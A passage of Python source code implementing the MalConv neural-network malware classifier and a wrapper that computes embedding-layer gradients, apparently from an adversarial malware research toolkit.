""" 133 | It embeds an input vector into MalConv embedded representation. 134 | """ 135 | pass 136 | 137 | # @abstractmethod 138 | def compute_embedding_gradient(self, numpy_x: np.ndarray) -> torch.Tensor: 139 | """ 140 | It computes the gradient w.r.t. the embedding layer. 141 | 142 | Parameters 143 | ---------- 144 | numpy_x : numpy array 145 | the numpy array containing a sample 146 | Returns 147 | ------- 148 | torch.Tensor 149 | the gradient w.r.t. the embedding layer 150 | """ 151 | emb_x = self.embed(numpy_x) 152 | y = self.embedd_and_forward(emb_x) 153 | g = torch.autograd.grad(y, emb_x)[0] 154 | g = torch.transpose(g, 1, 2)[0] 155 | return g 156 | 157 | @abstractmethod 158 | def embedd_and_forward(self, x: torch.Tensor) -> torch.Tensor: 159 | """ 160 | Compute the embedding for sample x and returns the prediction. 161 | 162 | Parameters 163 | ---------- 164 | x : torch.Tensor 165 | the sample as torch tensor 166 | Returns 167 | ------- 168 | torch.Tensor 169 | the result of the forward pass 170 | """ 171 | pass 172 | 173 | def forward(self, x: torch.Tensor) -> torch.Tensor: 174 | """ 175 | Forward pass. 176 | 177 | Parameters 178 | ---------- 179 | x : torch.Tensor 180 | the sample to test 181 | Returns 182 | ------- 183 | torch.Tensor 184 | the result of the forward pass 185 | """ 186 | embedding_1 = self.embed(x.contiguous()) 187 | output = self.embedd_and_forward(embedding_1) 188 | return output 189 | 190 | def load_simplified_model(self, path: str): 191 | """ 192 | Load the model weights. 193 | 194 | Parameters 195 | ---------- 196 | path : str 197 | the path to the model 198 | """ 199 | if not os.path.isfile(path): 200 | print(f"{path} path not pointing to regular file!") 201 | f = torch.load(path) if use_cuda else torch.load( 202 | path, map_location="cpu") 203 | self.load_state_dict(f) 204 | self.eval() 205 | 206 | 207 | class CClassifierEnd2EndMalware(CClassifierPyTorch): 208 | 209 | def __init__( 210 | self, 211 | model: End2EndModel, 212 | epochs=100, 213 | batch_size=256, 214 | train_transform=None, 215 | preprocess=None, 216 | softmax_outputs=False, 217 | random_state=None, 218 | plus_version=False, 219 | input_shape=(1, 2 ** 20), 220 | verbose=0, 221 | ): 222 | super(CClassifierEnd2EndMalware, self).__init__( 223 | model, 224 | loss="binary_crossentropy", 225 | epochs=epochs, 226 | batch_size=batch_size, 227 | preprocess=preprocess, 228 | input_shape=(1, model.max_input_size), 229 | softmax_outputs=softmax_outputs, 230 | random_state=random_state, 231 | ) 232 | self.plus_version = plus_version 233 | self.verbose = verbose 234 | self.train_transform = ( 235 | train_transform 236 | if train_transform is not None 237 | else transforms.Lambda(lambda p: p.reshape(input_shape[1])) 238 | ) 239 | 240 | def gradient(self, x, w=None): 241 | """Compute gradient at x by doing a forward and a backward pass. 242 | 243 | The gradient is pre-multiplied by w. 244 | 245 | """ 246 | return self._gradient_f(x) 247 | 248 | def gradient_f_x(self, x, **kwargs): 249 | """Returns the gradient of the function on point x. 250 | 251 | Arguments: 252 | x {CArray} -- The point 253 | 254 | Raises: 255 | NotImplementedError: Model do not support gradient 256 | 257 | Returns: 258 | CArray -- the gradient computed on x 259 | """ 260 | if self.preprocess is not None: 261 | # Normalize data before compute the classifier gradient 262 | x_pre = self.preprocess.normalize(x) 263 | else: # Data will not be preprocessed 264 | x_pre = x 265 | try: # Get the derivative of decision_function 266 | grad_f = self._gradient_f(x_pre, **kwargs) 267 | except NotImplementedError: 268 | raise NotImplementedError( 269 | "{:} does not implement `gradient_f_x`".format( 270 | self.__class__.__name__) 271 | ) 272 | return grad_f 273 | 274 | def _gradient_f(self, x, y=None, w=None, layer=None, sum_embedding=True): 275 | penalty_term = torch.zeros(1) 276 | penalty_term.requires_grad_() 277 | gradient = self.compute_embedding_gradient(x.tondarray(), penalty_term) 278 | if sum_embedding: 279 | gradient = torch.mean(gradient, dim=1) 280 | if gradient.is_cuda: 281 | gradient = gradient.cpu() 282 | return CArray(gradient) 283 | 284 | def load_pretrained_model(self): 285 | """ 286 | Load pretrained model weights 287 | 288 | Parameters 289 | ---------- 290 | path : str, optional, default None 291 | The path of the model, default is None, and it will load the internal default one 292 | """ 293 | 294 | self._model.load_simplified_model( 295 | "source/implementations/gen_adversarial_exe/malconv/pretrained_malconv.pth") 296 | self._classes = np.array([0, 1]) 297 | self._n_features = 2 ** 20 298 | 299 | def get_embedding_size(self): 300 | """ 301 | Get the embedding space dimensionality 302 | 303 | Returns 304 | ------- 305 | int 306 | the dimensionality of the embedding space 307 | """ 308 | return self._model.embedding_size 309 | 310 | def get_input_max_length(self): 311 | """ 312 | Get the input window length 313 | 314 | Returns 315 | ------- 316 | int 317 | the window input length 318 | """ 319 | return self._model.max_input_size 320 | 321 | def get_embedding_value(self): 322 | """ 323 | Get the value used as padding 324 | 325 | Returns 326 | ------- 327 | int 328 | a value that is used for padding the sample 329 | """ 330 | return self._model.embedding_value 331 | 332 | def get_is_shifting_values(self): 333 | """ 334 | Get if the model shifts the values by one 335 | 336 | Returns 337 | ------- 338 | bool 339 | return if the values are shifted by one 340 | """ 341 | return self._model.shift_values 342 | 343 | def embed(self, x: CArray, transpose: bool = True): 344 | """ 345 | Embed the sample inside the embedding space 346 | 347 | Parameters 348 | ---------- 349 | x : CArray 350 | the sample to embed 351 | transpose : bool, optional, default True 352 | set True to return the transposed feature space vector 353 | Returns 354 | ------- 355 | torch.Tensor 356 | the embedded vector 357 | """ 358 | return self._model.embed(x, transpose=transpose) 359 | 360 | def compute_embedding_gradient(self, x: CArray, penalty_term: torch.Tensor): 361 | """Compute the gradient w.r.t. embedding layer. 362 | 363 | Parameters 364 | ---------- 365 | x : CArray 366 | point where gradient will be computed 367 | penalty_term : float 368 | the penalty term 369 | 370 | Returns 371 | ---------- 372 | CArray 373 | the gradient w.r.t. the embedding 374 | """ 375 | data = x 376 | if isinstance(x, CArray): 377 | data = x.tondarray() 378 | emb_x = self.embed(data) 379 | y = self.model.embedd_and_forward(emb_x) 380 | output = y + penalty_term 381 | if use_cuda: 382 | output = output.cuda() 383 | g = torch.autograd.grad(output, emb_x)[0] 384 | g = torch.transpose(g, 1, 2)[0] 385 | return g 386 | 387 | def embedding_predict(self, x): 388 | """ 389 | Embed the sample and produce prediction. 390 | 391 | Parameters 392 | ---------- 393 | x : CArray 394 | the input sample 395 | 396 | Returns 397 | ------- 398 | float 399 | the malware score 400 | """ 401 | return self._model.embedd_and_forward(x) 402 | 403 | def _forward(self, x): 404 | x = x.atleast_2d() 405 | scores = super(CClassifierEnd2EndMalware, self)._forward(x) 406 | confidence = [] 407 | for i in range(x.shape[0]): 408 | confidence.append([1 - scores[i, 1].item(), scores[i, 1].item()]) 409 | confidence = CArray(confidence) 410 | return confidence 411 | 412 | 413 | class MalConv(End2EndModel): 414 | """ 415 | Architecture implementation. 416 | """ 417 | 418 | def __init__(self, pretrained_path=None, embedding_size=8, max_input_size=2 ** 20): 419 | super(MalConv, self).__init__( 420 | embedding_size, max_input_size, 256, False) 421 | self.embedding_1 = nn.Embedding( 422 | num_embeddings=257, embedding_dim=embedding_size) 423 | self.conv1d_1 = nn.Conv1d(in_channels=embedding_size, out_channels=128, kernel_size=(500,), stride=(500,), 424 | groups=1, bias=True) 425 | self.conv1d_2 = nn.Conv1d(in_channels=embedding_size, out_channels=128, kernel_size=(500,), stride=(500,), 426 | groups=1, bias=True) 427 | self.dense_1 = nn.Linear(in_features=128, out_features=128, bias=True) 428 | self.dense_2 = nn.Linear(in_features=128, out_features=1, bias=True) 429 | if pretrained_path is not None: 430 | self.load_simplified_model(pretrained_path) 431 | if use_cuda: 432 | self.cuda() 433 | 434 | def embed(self, input_x, transpose=True): 435 | if isinstance(input_x, torch.Tensor): 436 | x = input_x.clone().detach().requires_grad_(True).type(torch.LongTensor) 437 | else: 438 | x = torch.from_numpy(input_x).type(torch.LongTensor) 439 | x = x.squeeze(dim=1) 440 | if use_cuda: 441 | x = x.cuda() 442 | emb_x = self.embedding_1(x) 443 | if transpose: 444 | emb_x = torch.transpose(emb_x, 1, 2) 445 | return emb_x 446 | 447 | def embedd_and_forward(self, x): 448 | conv1d_1 = self.conv1d_1(x) 449 | conv1d_2 = self.conv1d_2(x) 450 | conv1d_1_activation = torch.relu(conv1d_1) 451 | conv1d_2_activation = torch.sigmoid(conv1d_2) 452 | multiply_1 = conv1d_1_activation * conv1d_2_activation 453 | global_max_pooling1d_1 = F.max_pool1d( 454 | input=multiply_1, kernel_size=multiply_1.size()[2:]) 455 | global_max_pooling1d_1_flatten = global_max_pooling1d_1.view( 456 | global_max_pooling1d_1.size(0), -1) 457 | dense_1 = self.dense_1(global_max_pooling1d_1_flatten) 458 | dense_1_activation = torch.relu(dense_1) 459 | dense_2 = self.dense_2(dense_1_activation) 460 | dense_2_activation = torch.sigmoid(dense_2) 461 | return dense_2_activation 462 | --------------------------------------------------------------------------------